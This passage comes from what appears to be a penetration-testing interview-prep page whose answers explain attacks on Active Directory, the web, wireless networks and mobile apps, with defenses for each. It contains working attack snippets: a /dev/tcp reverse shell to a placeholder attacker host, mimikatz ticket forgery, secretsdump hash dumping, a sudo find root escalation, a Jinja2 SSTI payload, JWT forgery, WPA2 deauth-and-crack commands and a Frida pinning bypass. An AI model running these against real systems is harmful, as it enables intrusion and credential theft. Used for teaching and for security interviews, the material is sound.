stack (each one's `ret` pops the next gadget's address and jumps to it), you can string together enough small operations (load a register, call a function, set up arguments) to eventually call something like `mprotect()` to mark a region executable again, or directly call `system(\"/bin/sh\")` using only code that was already present and already executable — DEP never triggers because you're not running injected code, only rearranging execution through existing code.\n\n```\n; simplified ROP chain concept on the stack after overflow:\n[gadget1: pop rdi; ret] -> puts \"/bin/sh\" address into rdi (arg1)\n[address of \"/bin/sh\"]\n[gadget2: address of system()]\n```\nThis still leaves the ASLR problem — you need real addresses of gadgets and libraries in *this* process's randomized layout. That's typically solved with an information leak elsewhere in the target (a separate bug that discloses a pointer or memory address), or in older/32-bit contexts, brute-forcing the relatively small randomization space. This arms-race dynamic — DEP forces ROP, ASLR forces info leaks, which then feed the ROP chain — is exactly why modern binary exploitation is a multi-bug chaining discipline rather than a single-flaw exercise."}},{"@type":"Question","name":"What is a pass-the-hash attack, and why does it let an attacker authenticate without ever knowing the plaintext password?","acceptedAnswer":{"@type":"Answer","text":"Windows' NTLM authentication protocol doesn't actually need the plaintext password to prove identity — it needs the NTLM hash of the password, because the challenge-response handshake is built entirely around that hash as the shared secret. The server sends a random challenge, the client encrypts/HMACs that challenge using a key derived from the NTLM hash, and the server (or a domain controller on the server's behalf) checks the response using its own copy of that same hash. Since the plaintext password is never actually part of that math, an attacker who obtains the *hash* — without ever cracking it back into the original password — can complete the exact same handshake and authenticate successfully.\n\nThis is why dumping hashes from a compromised machine (via `mimikatz sekurlsa::logonpasswords`, or from the SAM database, or from LSASS memory) is often more valuable to an attacker than cracking passwords: the hash itself is a usable credential, not just an intermediate step toward one. If that hash belongs to a local admin account reused across many machines (a very common real-world pattern — IT deploys the same local admin password fleet-wide), pass-the-hash on that one hash grants admin access to every machine sharing it.\n\n```bash\n# using Impacket's psexec.py with a captured NTLM hash instead of a password\npsexec.py -hashes :aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 \\\n [email protected]\n```\nThe defense is layered: unique local admin passwords per machine (Microsoft's LAPS solution automates this), restricting NTLM in favor of Kerberos where possible, and network segmentation limiting lateral movement even if one hash is compromised — since the attack's real power comes from hash reuse across many hosts, not from any single stolen hash."}},{"@type":"Question","name":"Explain LLMNR/NBT-NS poisoning and how a tool like Responder captures usable credentials on an internal network.","acceptedAnswer":{"@type":"Answer","text":"LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) are legacy Windows name-resolution fallbacks — if a machine tries to resolve a hostname and the DNS server doesn't have an answer (often because of a typo, like `\\\\fileserver01` mistyped as `\\\\filesrver01`), Windows broadcasts a request on the local network asking 'does anyone know this name?' instead of just failing. Critically, this broadcast has no authentication at all — any machine on the local network segment can answer, and Windows will trust whichever answer arrives.\n\nResponder sits passively on the network listening for these broadcast queries and answers every single one, claiming 'yes, that's me' regardless of what name was actually requested. The victim machine then attempts to authenticate to Responder's IP (thinking it's the legitimate file server or resource it was originally looking for) using NTLM, and because NTLM's challenge-response handshake reveals a crackable/relayable value even without the client trusting the server's identity first, Responder captures the victim's NTLMv2 hash in the process.\n\n```bash\nsudo responder -I eth0 -wrf\n# ... victim mistypes a share name, broadcasts LLMNR query ...\n[SMB] NTLMv2-SSP Hash captured : jdoe::CORP:1122334455667788:...\n```\nFrom there, the attacker either cracks the hash offline (hashcat mode 5600) if it's a weak password, or — often more effective — relays it live to another machine that accepts NTLM authentication and doesn't have SMB signing enforced, gaining an authenticated session as that victim without ever cracking anything (NTLM relay). The fix is disabling LLMNR and NBT-NS via Group Policy entirely (most networks don't actually need this 1990s-era fallback anymore) and enforcing SMB signing domain-wide to close the relay path even if poisoning still occurs."}},{"@type":"Question","name":"What's the difference between Kerberoasting and AS-REP Roasting, and what specific misconfiguration makes an account vulnerable to the latter?","acceptedAnswer":{"@type":"Answer","text":"Both attacks target Kerberos tickets you can crack offline, but they exploit different parts of the protocol and require different preconditions. Kerberoasting targets **TGS** (service) tickets: any authenticated domain user can request a service ticket for any account with a registered SPN, and that ticket is encrypted with a key derived from the *service account's* password — so it works against any SPN-bearing account regardless of any special configuration flag, which is why it's so broadly applicable in AD environments.\n\nAS-REP Roasting targets the initial **AS-REP** (authentication) response, and it only works against accounts that have Kerberos pre-authentication explicitly disabled — a checkbox (`Do not require Kerberos preauthentication`) that's supposed to exist for legacy compatibility but is rare and usually a misconfiguration when found. Normally, requesting a TGT requires you to first prove you know the password by encrypting a timestamp with it (pre-auth) — with pre-auth disabled, the KDC just hands back an AS-REP encrypted with the *target account's* password-derived key to anyone who asks for it by username, no proof of knowledge required at all, which means you don't even need valid credentials of your own to pull this hash — unauthenticated enumeration is enough.\n\n```bash\n# Kerberoasting requires an authenticated domain user\nGetUserSPNs.py DOMAIN/user:pass -request\n\n# AS-REP Roasting needs zero credentials, just a list of usernames to try\nGetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -format hashcat\n```\nBoth resulting hashes get cracked offline the same way (hashcat), but AS-REP Roasting is arguably the more alarming find because it doesn't require any prior foothold at all — just knowledge of a valid username and the target account having pre-auth disabled."}},{"@type":"Question","name":"What is unconstrained delegation in Active Directory, and how can it be abused to compromise a domain controller?","acceptedAnswer":{"@type":"Answer","text":"Delegation lets a service account impersonate the user who authenticated to it, so it can act on that user's behalf against a *second* service — e.g. a web server that needs to query a backend database as the logged-in user rather than as itself. Unconstrained delegation is the oldest, least-restricted form: when it's enabled on a computer/service account, that account is trusted to impersonate *any* user who authenticates to it, for access to *any* other service in the domain, with no scoping at all — the name says it plainly, there's no constraint on what it's allowed to be used for.\n\nThe mechanism that makes this dangerous is how Kerberos actually implements it: when a user authenticates to a service configured for unconstrained delegation, that user's full TGT (not just a scoped service ticket) gets forwarded to and cached in memory on that service's machine, so the service can turn around and request tickets to other resources on the user's behalf later. If an attacker compromises a machine with unconstrained delegation enabled, they can extract every cached TGT sitting in that machine's memory (via Mimikatz) — and if they can coerce a Domain Controller's own machine account to authenticate to that compromised box (using a coercion technique like PrinterBug/PetitPotam, which abuses the print spooler or MS-EFSR RPC to force a DC to connect to an attacker-chosen host), they capture the DC's own TGT.\n\n```\n# On the compromised delegation-enabled box:\nmimikatz # sekurlsa::tickets /export\n# coerce a DC to auth to us (e.g. via PetitPotam), then harvest its TGT from memory\n```\nA domain controller's TGT is essentially the domain's own credential — with it, an attacker can request a ticket to any service as the DC itself, which is functionally equivalent to full domain compromise (this is the delegation-based path to DCSync-level access). The fix is auditing for and removing unconstrained delegation wherever it's not genuinely required, replacing it with constrained or resource-based constrained delegation, which scope exactly which services the delegation can be used against."}},{"@type":"Question","name":"What's the difference between a Golden Ticket and a Silver Ticket attack in Active Directory?","acceptedAnswer":{"@type":"Answer","text":"Both are Kerberos ticket-forgery attacks that let an attacker mint their own valid-looking tickets rather than legitimately requesting them, but they differ in scope and in what secret they require, because they forge different tickets in the Kerberos flow.\n\nA Golden Ticket forges a TGT (Ticket Granting Ticket) using the KRBTGT account's password hash — that account's hash is used domain-wide by the KDC to encrypt/sign every TGT it ever issues, so possessing it lets an attacker construct a fake TGT for any user (including one that doesn't even exist) with any group memberships and any expiration they choose, and the KDC will honor it as legitimate since it's correctly signed with the real KRBTGT key. This grants domain-wide access to essentially anything, and typically survives even a password reset of the compromised admin account, since it doesn't rely on that account's own hash at all.\n\nA Silver Ticket forges a **TGS** (service ticket) directly using a specific *service account's* password hash, skipping the KDC/TGT step entirely — this only grants access to whatever that one service account controls (e.g. forging a ticket for a specific SQL server's service account gets you into that SQL server, not the whole domain), which is more limited in blast radius but also stealthier, since it never touches the domain controller's TGT-issuing logic at all, leaving fewer of the log artifacts a Golden Ticket generates.\n\n```bash\n# Golden Ticket (needs krbtgt hash, gives domain-wide access)\nmimikatz # kerberos::golden /user:fakeadmin /domain:corp.local /sid:S-1-5-21-... /krbtgt: /ptt\n\n# Silver Ticket (needs one service account's hash, scoped to that service)\nmimikatz # kerberos::golden /user:fakeadmin /domain:corp.local /sid:S-1-5-21-... /target:sql01.corp.local /service:MSSQLSvc /rc4: /ptt\n```\nThe practical defense against Golden Tickets is rotating the KRBTGT password (twice, per Microsoft's guidance, since the account keeps the previous hash valid for one rotation) after any suspected domain compromise — a single reset isn't enough to fully invalidate existing forged tickets built against the old hash chain."}},{"@type":"Question","name":"What is a DCSync attack, and what specific Active Directory permissions does it require?","acceptedAnswer":{"@type":"Answer","text":"DCSync abuses the legitimate Active Directory replication protocol (MS-DRSR / `IDL_DRSGetNCChanges`) that domain controllers use to keep each other in sync. Instead of compromising a domain controller directly, an attacker who controls an account with the right replication permissions can simply ask any real domain controller to 'replicate' password hash data to them, and the DC — because this is a completely normal, expected operation between DCs — hands over NTLM hashes, Kerberos keys, and password history for any account requested, including `krbtgt`, without ever needing interactive access to a DC's filesystem or memory.\n\nThe permissions required are two specific extended rights on the domain object: `Replicating Directory Changes` and `Replicating Directory Changes All`. Domain Admins and Enterprise Admins have these by default (since real DCs need them), but they're occasionally granted more broadly by misconfiguration — e.g. a poorly-scoped delegation to a service account or a group that was supposed to get something narrower. An attacker who compromises any account holding these rights, even one that looks unprivileged in every other way, can run DCSync without ever touching a domain controller directly.\n\n```bash\n# Impacket's secretsdump, given an account with replication rights\nsecretsdump.py DOMAIN/serviceacct:[email protected] -just-dc-ntlm\n# dumps NTLM hashes for every domain account, including krbtgt\n```\nOnce you have `krbtgt`'s hash from this dump, you can go straight to a Golden Ticket — which is why DCSync detection (Microsoft's advanced audit policy has a specific event, 4662, for this replication request from a non-DC source) is a high-priority alert in mature security programs, and why regularly auditing exactly who holds `Replicating Directory Changes All` outside the expected DC/admin accounts is a meaningful, low-effort hardening step."}},{"@type":"Question","name":"What is BloodHound, and how does it help an attacker (or defender) find privilege escalation paths in an Active Directory environment?","acceptedAnswer":{"@type":"Answer","text":"BloodHound is a graph-analysis tool that turns raw Active Directory relationships — group memberships, ACLs, session data, delegation rights, who's a local admin on which machine — into a graph database, then runs pathfinding queries against it to answer a question that's genuinely hard to spot by manually reading AD one object at a time: 'is there ANY chain of relationships connecting my current low-privileged account to Domain Admin?'\n\nThe insight it's built on is that AD compromise is rarely one dramatic exploit — it's almost always a chain of individually-boring permissions (user A is a member of group B, group B has GenericAll rights over computer C, computer C has a session from user D who's a Domain Admin) that nobody designed on purpose but that accumulated over years of ad-hoc delegation. A human auditing permissions object by object will basically never spot a 5-hop chain like that; a graph query finds it in seconds.\n\nOn the offensive side, you run a collector (SharpHound) from a compromised low-priv foothold to gather this data, ingest it into BloodHound's UI, and use its built-in queries like 'Shortest Path to Domain Admins from Owned Principals' to get a literal visual attack path to follow step by step — turning post-compromise privilege escalation from open-ended guesswork into a directed checklist. Defensively, the exact same tool is arguably more valuable — security teams run it proactively against their own AD to find and remove these unintended escalation paths (an over-permissioned help-desk group, a forgotten delegation) before an attacker ever gets a foothold to exploit them from."}},{"@type":"Question","name":"What's the difference between a reverse shell and a bind shell, and why is reverse shell more commonly used in real engagements?","acceptedAnswer":{"@type":"Answer","text":"A bind shell has the compromised target open a listening port and wait for the attacker to connect to it — the attacker initiates the connection inbound to the victim. A reverse shell flips the direction: the compromised target initiates an outbound connection back to a listener the attacker is running on their own machine, and once connected, sends that connection a shell.\n\nReverse shells are far more common in real engagements because most networks are far stricter about inbound traffic than outbound traffic — a corporate firewall typically blocks nearly all unsolicited inbound connections to internal hosts by default, which would block a bind shell's listening port from ever being reachable from outside. Outbound traffic, especially on common ports like 443, is usually allowed much more permissively (since normal business traffic — browsing, API calls — needs it), so a reverse shell connecting out on port 443 often blends in with, or at least isn't blocked by, existing egress rules.\n\n```bash\n# Attacker machine: start a listener\nnc -lvnp 4444\n\n# Victim machine (after exploitation), reverse shell back to attacker:\nbash -i >& /dev/tcp/attacker_ip/4444 0>&1\n```\nBind shells still see use in specific scenarios — for instance, when you're already inside a network segment with permissive inbound rules, or when NAT/firewall rules on the attacker's own side make an inbound listener from the target actually easier to reach than getting an outbound connection past egress filtering. But as a default choice, reverse shell is the practical, higher-success-rate option in the overwhelming majority of engagements."}},{"@type":"Question","name":"What are GTFOBins/LOLBins, and how do pentesters use them for privilege escalation or evading detection?","acceptedAnswer":{"@type":"Answer","text":"GTFOBins (for Linux/Unix) and LOLBAS (Living Off the Land Binaries And Scripts, for Windows) are curated public catalogs of legitimate, pre-installed system binaries that have an unintended secondary capability an attacker can abuse — usually to break out of a restricted shell, escalate privileges, read/write files, or execute arbitrary commands, entirely using tools that are already trusted and present on essentially every install, with nothing custom ever dropped to disk.\n\nThe classic example is `sudo` misconfiguration: if a sysadmin grants a user `sudo` rights to run `/usr/bin/find` for some legitimate operational reason, GTFOBins documents that `find` has a `-exec` flag that can spawn an arbitrary command — and since it's running under `sudo`, that command runs as root. The binary itself (`find`) was never designed as a privilege-escalation tool; the abuse comes entirely from combining an overly broad sudo grant with a documented side-capability.\n\n```bash\n# sudoers allows: user ALL=(root) NOPASSWD: /usr/bin/find\nsudo find . -exec /bin/sh \\; -quit\n# root shell\n```\nOn the detection-evasion side, using something like `certutil.exe` (a legitimate Windows cert-management tool that can also download files) or `mshta.exe` (a legitimate HTML application host that can execute inline JScript) to fetch and run a payload is far less likely to trigger antivirus/EDR alerts than dropping a custom unsigned executable, because these binaries are signed, expected, and used constantly for legitimate purposes — making malicious use of them blend into normal system noise. Pentesters and red teamers check GTFOBins/LOLBAS against whatever `sudo`/scheduled-task/service permissions they find during enumeration, since it turns a boring 'this account can run X as root' finding into a concrete, demonstrable escalation path."}},{"@type":"Question","name":"Explain HTTP Request Smuggling and why it occurs between a front-end proxy and a back-end server.","acceptedAnswer":{"@type":"Answer","text":"Request smuggling exploits a disagreement between a front-end (proxy/load balancer/CDN) and a back-end server about where one HTTP request ends and the next one begins, when both `Content-Length` and `Transfer-Encoding: chunked` headers are present in the same request — a case the HTTP spec says should be rejected, but that many real implementations instead resolve by picking one header and ignoring the other, and different servers don't always pick the same one.\n\nIn the classic 'CL.TE' variant, the front-end proxy honors `Content-Length` to determine the request body's length, while the back-end server honors `Transfer-Encoding: chunked` instead. The attacker crafts a request where the `Content-Length` value the front-end trusts is shorter than what's actually sent, so the front-end forwards what it thinks is one complete request, but the back-end (reading via chunked encoding) parses that same byte stream differently and interprets the 'leftover' bytes as the beginning of a second, entirely separate request smuggled in — one the front-end never saw as a distinct request at all, and so never applied its own security checks (auth, WAF rules) to.\n\n```http\nPOST / HTTP/1.1\nHost: target.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED_REQUEST_HERE\n```\nThe practical impact is severe: the smuggled portion of the next attacker request gets prepended onto the front of the *next legitimate user's* request that the back-end happens to process on that same reused connection, letting the attacker capture pieces of other users' requests (session tokens, headers), bypass front-end access controls entirely, or perform response-splitting-style cache poisoning. It's found by sending deliberately ambiguous CL/TE requests and measuring timing differences (a request that should have been fully consumed but instead causes the *next* request to hang, because the back-end is still waiting for bytes the front-end thought it already sent). The fix is standardizing on HTTP/2 end-to-end (which doesn't have this ambiguity) or ensuring front-end and back-end always agree on which header takes precedence, ideally by having the front-end normalize/reject ambiguous requests outright rather than passing them through."}},{"@type":"Question","name":"What is a JWT algorithm confusion attack, and how does the classic RS256-to-HS256 downgrade work?","acceptedAnswer":{"@type":"Answer","text":"JSON Web Tokens include their signing algorithm in the token's own header (`alg` field), and a poorly implemented verification library trusts that field to decide *how* to verify the signature rather than enforcing a single expected algorithm server-side. This self-describing design is the root of the vulnerability class: if the verifier lets the attacker's own token dictate the verification method, the attacker effectively controls half of the security check.\n\nThe classic exploit targets apps using RS256 (asymmetric — signed with a private key, verified with a corresponding *public* key) but whose verification code doesn't strictly pin the expected algorithm. RS256's public key is, by definition, not secret — it's often embedded in the app's client-side code, published at a JWKS endpoint, or otherwise easily obtainable. If the attacker changes the token's header to `HS256` (symmetric — signed and verified with the *same* secret key) and then signs their forged token using the public RSA key as if it were an HMAC secret string, a vulnerable library — trusting the attacker-supplied `alg` field — will call the HMAC verification function using that same public key as the HMAC secret, and since the attacker knows that exact value (it's public), the signature checks out.\n\n```python\nimport jwt\npublic_key = open('public.pem').read()\nforged = jwt.encode({\"sub\": \"admin\", \"role\": \"admin\"}, public_key, algorithm=\"HS256\")\n# server verifies using the same public_key value, but as an HMAC secret -> signature matches\n```\nThe fix is straightforward but must be applied deliberately: the server must hardcode/enforce the expected algorithm during verification (`jwt.decode(token, key, algorithms=[\"RS256\"])` — explicitly whitelisting, not reading `alg` from the token) rather than letting the token's own header pick the verification method — every mainstream JWT library now supports this explicit-algorithm pattern specifically because this exact attack was so widespread a few years ago."}},{"@type":"Question","name":"What is Server-Side Template Injection (SSTI), and how do you distinguish it from XSS during testing?","acceptedAnswer":{"@type":"Answer","text":"SSTI happens when user input is embedded directly into a server-side template (Jinja2, Twig, Freemarker, Velocity, etc.) *before* that template is rendered, rather than being passed in safely as a variable's *value*. Templating engines are designed to execute template syntax — loops, conditionals, expressions — so if attacker input becomes part of the template's actual source rather than just data inserted into it, the engine will happily evaluate whatever expression syntax the attacker supplies, which in many engines is powerful enough to reach arbitrary code execution.\n\nThe standard way to distinguish it from plain XSS is a simple math probe: submit something like `{{7*7}}` (Jinja2/Twig syntax) or `${7*7}` (Freemarker/Velocity-style). If the rendered output literally contains `49`, the server evaluated it as a template expression server-side — that's SSTI, not XSS, because XSS would just reflect the literal string `{{7*7}}` back into the HTML for the *browser* to (not) interpret; it would never compute the arithmetic, since browsers don't understand `{{ }}` syntax at all. Seeing the computed result is the tell that server-side code, not client-side JS, is doing the interpreting.\n\n```\nInput: {{7*7}}\nXSS-vulnerable response: ...welcome {{7*7}}... (literal, unexecuted)\nSSTI-vulnerable response: ...welcome 49... (evaluated server-side!)\n```\nOnce confirmed, exploitation escalates from that math probe toward code execution using engine-specific syntax to walk from a template expression into the underlying language's object model — for Jinja2, a well-known chain reaches Python's `os.popen` via `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}` or similar object-traversal payloads. SSTI is generally far more severe than XSS since it runs on the server with the server's own privileges, not just in a victim's browser."}},{"@type":"Question","name":"What is a race condition vulnerability in a web application, and how would you exploit a TOCTOU flaw in a discount-code redemption endpoint?","acceptedAnswer":{"@type":"Answer","text":"A race condition exists when an application's correctness depends on operations happening in a specific order or atomically, but the code doesn't actually enforce that — it checks a condition, then separately acts on it, with a gap in between where the underlying state can change. This 'check' and 'use' happening as two separate steps instead of one atomic operation is exactly the Time-Of-Check-To-Time-Of-Use (TOCTOU) pattern, and it's dangerous anywhere money, quotas, or one-time-use tokens are involved.\n\nA discount-code redemption endpoint is a textbook target: the naive implementation reads 'has this code been used?' from the database, sees `false`, then — as a *separate* subsequent write — marks it used and applies the discount. If you fire many requests to redeem the same single-use code at almost the exact same instant, several of them can pass the 'has it been used?' check simultaneously, before any of them has finished writing 'used = true' back — each one sees the code as still valid and applies the discount, letting a code meant for one use get redeemed dozens of times before the write finally lands.\n\n```bash\n# Fire 50 concurrent redemption requests for the same single-use code\nfor i in $(seq 1 50); do\n curl -s -X POST https://shop.com/api/redeem -d '{\"code\":\"SAVE50\"}' &\ndone\nwait\n# if the app isn't atomic, many more than 1 succeed\n```\nTools like Burp's 'Turbo Intruder' extension are built specifically to fire this kind of tightly-clustered concurrent request burst with minimal network jitter between them, since exploiting a narrow race window reliably requires the requests to actually land close together server-side, not just be sent close together client-side. The fix is making the check-and-use step atomic at the database level — a single `UPDATE codes SET used=true WHERE code=? AND used=false` statement, checking the affected-row count to determine success, rather than a separate read-then-write — or using a database-level unique constraint/row lock that makes concurrent redemption of the same code structurally impossible rather than relying on application logic to avoid the race."}},{"@type":"Question","name":"What is business logic testing in penetration testing, and give an example of a business logic flaw that automated scanners typically miss?","acceptedAnswer":{"@type":"Answer","text":"Business logic testing means evaluating whether an application's *workflow* can be abused to produce an outcome the business never intended, even when every individual request is syntactically valid, properly authenticated, and passes every technical input-validation check. Automated scanners are fundamentally pattern-matchers looking for known vulnerability signatures (SQLi syntax, XSS payloads reflecting) — they have no concept of what a given application's business rules actually are, so a flaw that only exists because of how *this specific app's* workflow was designed is invisible to them by construction.\n\nA concrete example: an e-commerce checkout flow that calculates the total price client-side (in JavaScript) and sends that final total to the server for payment processing, trusting it rather than recalculating it server-side from the actual cart contents and current prices. A scanner sees a perfectly normal-looking POST request with valid JSON and no injection payload anywhere — nothing to flag. A human tester, thinking about the *workflow*, intercepts the request in Burp and simply edits the `total` field from `4999` to `1`, then submits — if the server accepts the client-supplied total at face value, you've just bought a product for a fraction of its price, with zero technical exploit involved, just a logic gap.\n\nOther classic examples in this category: a multi-step checkout that lets you skip directly to the 'order confirmed' step by hitting that endpoint URL directly without completing payment, a coupon system that lets the same single-use code be applied multiple times by removing and re-adding items to the cart, or a password-reset flow where the reset token is a predictable sequential ID rather than a cryptographically random value. None of these are 'bugs' in the traditional injection/memory-safety sense — they're the application faithfully doing exactly what its code says, just not what the business intended, which is precisely why this category demands a human thinking about intent and workflow rather than a tool matching known-bad patterns."}},{"@type":"Question","name":"How do you test a REST or GraphQL API for Broken Object Level Authorization (BOLA)?","acceptedAnswer":{"@type":"Answer","text":"BOLA (the API-specific framing of IDOR, and consistently the #1 item on the OWASP API Security Top 10) is the failure to verify that the authenticated caller is actually authorized to access the *specific* object referenced by an ID in the request — the API checks 'is this a valid token' but not 'does this token's owner actually own object 1042'. It's especially prevalent in APIs because they expose raw, structured, easily-enumerable object references (IDs in JSON bodies, path segments, GraphQL node IDs) far more directly than a typical server-rendered web page does.\n\nFor REST, the methodology is the same two-account technique used for IDOR generally, but applied systematically across *every* endpoint and *every* HTTP verb, not just the obvious GET ones — you authenticate as User A, capture object IDs it creates or can see, then replay those exact requests using User B's token, checking read, write, and delete operations independently since some endpoints correctly check ownership on GET but forget to check it on the corresponding DELETE.\n\nGraphQL adds a specific wrinkle: a single query can request deeply nested objects in one call, so authorization has to be checked at *every* level of the object graph, not just the top-level query — a query that legitimately fetches your own user object might have a nested field resolving a `friend`'s private data, and if authorization is only checked at the query's entry point rather than per-resolver, you can pivot through the graph to reach objects you were never authorized to touch directly.\n\n```graphql\nquery {\n user(id: \"me\") {\n email\n privateNotes { id content ownerId } # does this resolver check ownership independently?\n }\n}\n```\nA useful technique specific to GraphQL is using introspection (`__schema { types { name fields { name } } }`, when left enabled in production) to enumerate the entire object graph and every field available, which often surfaces admin-only or internal fields the frontend never uses but the backend still resolves without an extra authorization check, precisely because 'nobody would guess to query for that' was mistaken for a real access control."}},{"@type":"Question","name":"Walk through how you'd capture and crack a WPA2 four-way handshake during a wireless penetration test.","acceptedAnswer":{"@type":"Answer","text":"WPA2-PSK's security for a given network ultimately reduces to how strong the shared passphrase is, because the four-way handshake — the exchange that happens every time a client joins the network — can be captured passively and then attacked completely offline, with no further interaction with the live network needed once you have it.\n\nYou put a wireless adapter capable of monitor mode into that mode (`airmon-ng start wlan0`), then use `airodump-ng` to identify the target network's BSSID and channel and start capturing frames on it. If a client is already connected, you don't need to wait for them to naturally reconnect — you send a targeted deauthentication frame (`aireplay-ng --deauth`) spoofed as coming from the access point, which forces the client to disconnect and then automatically reconnect, and that reconnection is exactly when the four-way handshake happens again, which your capture picks up.\n\n```bash\nairmon-ng start wlan0\nairodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture\naireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon\n# once handshake is captured, crack offline:\naircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap\n```\nThe handshake itself doesn't contain the passphrase directly — cracking it means taking each candidate password from a wordlist, running it through the same PBKDF2-based key derivation the real handshake used, and checking whether the resulting keys reproduce the captured handshake's MIC value; a match means you've found the real passphrase. This is why WPA2 cracking success depends almost entirely on password strength/wordlist coverage rather than any protocol flaw — a genuinely long, random passphrase makes this attack computationally infeasible, which is also exactly why WPA3's SAE handshake was designed to resist this offline-dictionary approach entirely, unlike WPA2's PSK exchange."}},{"@type":"Question","name":"What's different about testing an Android mobile application compared to testing a standard web application?","acceptedAnswer":{"@type":"Answer","text":"A mobile app has two attack surfaces a typical web app doesn't: the local device storage/runtime environment, and the client binary itself, which the user (or a tester) has full physical access to — you can decompile it, instrument it, and inspect its logic directly, something you can't do with server-rendered web app code that never leaves the server.\n\nStatic analysis starts by unpacking the APK (it's just a zip) and decompiling the bytecode back to readable Java/Kotlin-ish source using tools like `jadx`, which routinely surfaces things developers assumed were safely hidden — hardcoded API keys, embedded backend URLs including staging/debug endpoints never meant to be public, or a `WebView` configured with `setJavaScriptEnabled(true)` alongside a JS bridge that exposes native app functions to any page it loads, a common path to remote code execution if that WebView ever navigates to attacker-controlled content.\n\n```bash\napktool d target.apk -o target_src\ngrep -rn 'API_KEY\\|apiKey\\|BEGIN PRIVATE KEY' target_src/\n```\nDynamic testing then means intercepting the app's own HTTPS traffic (proxying through Burp with a device-installed CA cert) to test its backend APIs the normal way, plus checking local data-at-rest storage on the device (SQLite databases, SharedPreferences XML files, or files written to external/unencrypted storage) for sensitive data like tokens or PII that a web app simply has no equivalent of, since a web app has no persistent local filesystem of its own on the user's device. You also check for insecure inter-app communication — exported Activities/Content Providers/Broadcast Receivers that another malicious app installed on the same device could invoke or read from, a class of vulnerability with no web-app analog at all since it depends on the shared-OS trust model between apps on one device."}},{"@type":"Question","name":"What is SSL/TLS certificate pinning in a mobile app, and how do testers bypass it to intercept HTTPS traffic with a proxy like Burp?","acceptedAnswer":{"@type":"Answer","text":"Certificate pinning is a mobile app hardening technique where the app hardcodes (pins) the expected server certificate or public key, rather than trusting any certificate merely because it chains up to a CA the device's OS trusts. Normally, installing your own proxy's CA certificate on the test device is enough to intercept HTTPS traffic (Burp presents a certificate signed by that trusted CA, and the OS accepts it) — but a pinned app ignores the OS trust store entirely for its own API calls and checks the certificate against its hardcoded expected value instead, so a Burp-signed cert fails that check even though the OS itself would have accepted it, and the app refuses the connection rather than let a MITM proxy read its traffic.\n\nDefeating this for testing purposes means bypassing the app's own pinning check at runtime rather than trying to forge a certificate that would satisfy it (which is by design infeasible without the actual pinned key). The standard tool for this is Frida, a dynamic instrumentation framework that lets you inject JavaScript into a running process and hook specific function calls — you attach to the app process and hook whichever certificate-validation function it uses (Android's `TrustManagerImpl.verifyChain`, or a common third-party library's pinning check), forcing that function to always return 'trusted' regardless of what certificate it was actually handed.\n\n```javascript\n// Frida script sketch, hooking Android's TrustManagerImpl to always pass\nJava.perform(function () {\n var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');\n TrustManagerImpl.verifyChain.implementation = function (untrustedChain, ...) {\n return untrustedChain; // bypass: accept any chain\n };\n});\n```\n```bash\nfrida -U -f com.target.app -l bypass-pinning.js --no-pause\n```\nOnce the pinning check is neutralized this way, the app's traffic flows through Burp normally like any unpinned app, letting you test its actual API surface. There are published, reusable scripts (`objection`'s built-in `android sslpinning disable` command wraps this exact technique) that work against the most common pinning implementations out of the box, since this is such a routine step in mobile testing that almost nobody hand-writes the hook from scratch anymore."}},{"@type":"Question","name":"What is a Rules of Engagement (RoE) document, and why is it critical to have signed before starting a penetration test?","acceptedAnswer":{"@type":"Answer","text":"A Rules of Engagement document is the written agreement between the tester and the client that formally authorizes the test and defines its exact boundaries — scope (which IPs, domains, or applications are in-bounds and, just as importantly, explicitly out-of-bounds), timing windows (especially for anything with potential for service disruption, like DoS-adjacent testing or destructive exploitation), permitted and prohibited techniques (e.g. whether social engineering or physical entry attempts are allowed), emergency contact procedures if something goes wrong mid-test, and — critically — the client's written authorization that the tester needs to legally perform actions that would otherwise be criminal computer intrusion.\n\nThis last point is the whole reason it's non-negotiable rather than a nice-to-have formality: without it, the exact same technical actions — port scanning, exploiting a vulnerability, exfiltrating a proof-of-concept file — are the textbook definition of unauthorized computer access under laws like the US Computer Fraud and Abuse Act or the UK Computer Misuse Act. A signed RoE, from someone with actual legal authority to grant that authorization, is what converts those actions from a crime into a contracted, legitimate professional service.\n\nA concrete real-world reason scope matters as much as authorization itself: if a company's RoE only covers their own infrastructure but a scan sweeps a shared IP range that turns out to include a third-party cloud tenant's systems, testing that third party's assets is unauthorized regardless of what your client agreed to, since your client never had the authority to authorize testing on infrastructure they don't own. This is exactly why experienced testers double-check ownership/scope boundaries (via WHOIS, cloud provider ownership confirmation) before firing anything at an IP or domain that's even slightly ambiguous, rather than trusting the client's scope list blindly."}}]}
51+ Real Questions

Penetration Testing Interview Questions & Answers

Commonly-asked and hard-to-find Penetration Testing interview questions, each with a clear, example-based answer.

Practice These Live with AI

Showing 1–10 of 51

Ready to practice these live?

Start a Free Penetration Testing Mock Interview